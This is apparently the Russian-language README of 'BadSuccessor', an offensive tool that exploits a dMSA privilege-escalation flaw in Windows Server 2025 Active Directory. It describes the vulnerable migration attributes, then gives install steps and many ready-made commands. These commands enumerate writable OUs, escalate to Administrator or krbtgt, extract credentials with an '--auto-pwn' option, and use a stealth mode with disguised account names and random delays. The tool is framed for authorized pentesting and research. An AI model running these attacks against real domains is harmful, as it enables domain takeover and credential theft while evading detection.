
Эксплуатирует уязвимость повышения привилегий dMSA в Windows Server 2025 для перечисления доступных для записи подразделений (OU), повышения привилегий до произвольных доменных пользователей, извлечения учетных данных и захвата домена в рамках авторизованных оценок безопасности AD.
Инструмент для пентеста, эксплуатирующий уязвимость повышения привилегий dMSA (delegated Managed Service Account — делегированная управляемая учетная запись службы) в средах Active Directory на Windows Server 2025.
Этот инструмент предназначен только для авторизованного тестирования на проникновение и исследований в области безопасности. Использование этого инструмента против систем без явного письменного разрешения незаконно и неэтично. Авторы не несут ответственности за любое неправомерное использование или ущерб, причиненный этим инструментом.
ВАЖНО: Этот инструмент находится в активной разработке и тестировании.
Мы призываем сообщество специалистов по безопасности:
Используя этот инструмент, вы подтверждаете, что он находится в активной разработке и может потребовать изменений для вашего конкретного окружения.
BadSuccessor эксплуатирует уязвимость повышения привилегий в функции делегированной управляемой учетной записи службы (dMSA) в Windows Server 2025. Уязвимость позволяет злоумышленникам с минимальными правами повышать свои привилегии до уровня любого пользователя в домене, включая администраторов домена.
Этот инструмент основан на выдающемся исследовании Юваля Гордона из Akamai Technologies:
Уязвимость существует в процессе миграции dMSA, где:
msDS-ManagedAccountPrecededByLink или ms-DS-Managed-Account-Preceded-By-Link значение, указывающее на целевого пользователяmsDS-DelegatedMSAState или ms-DS-Delegated-MSA-State в значение 2 (миграция завершена)Кроме того, структура KERB-DMSA-KEY-PACKAGE содержит ключи пароля целевого пользователя, что позволяет извлекать учетные данные.
pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0
**Примечание**: Инструмент протестирован с impacket 0.12.0. Предупреждения о совместимости версий отображаются во время выполнения.
### Необязательные зависимости```bash
# For DNS discovery
pip3 install dnspython
# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2
# RHEL/CentOS/Fedora
sudo yum install krb5-devel
CreateChildWriteGenericWriteGenericAllgit clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py
### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0
python3 badsuccessor.py -d -u -p [options]
### Примеры быстрого старта
#### 1. Режим пробного запуска (НОВОЕ) — Проверка без внесения изменений```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"
python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets
python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator
#### 3. Выполнить атаку```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30
# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
--dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
--dmsa-display-name "Production Service"
# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
--dmsa-pattern "svc{random}prod"
python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql
python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn
#### 5. Управление сессиями (НОВОЕ)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234
# Clean up all dMSAs from a session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID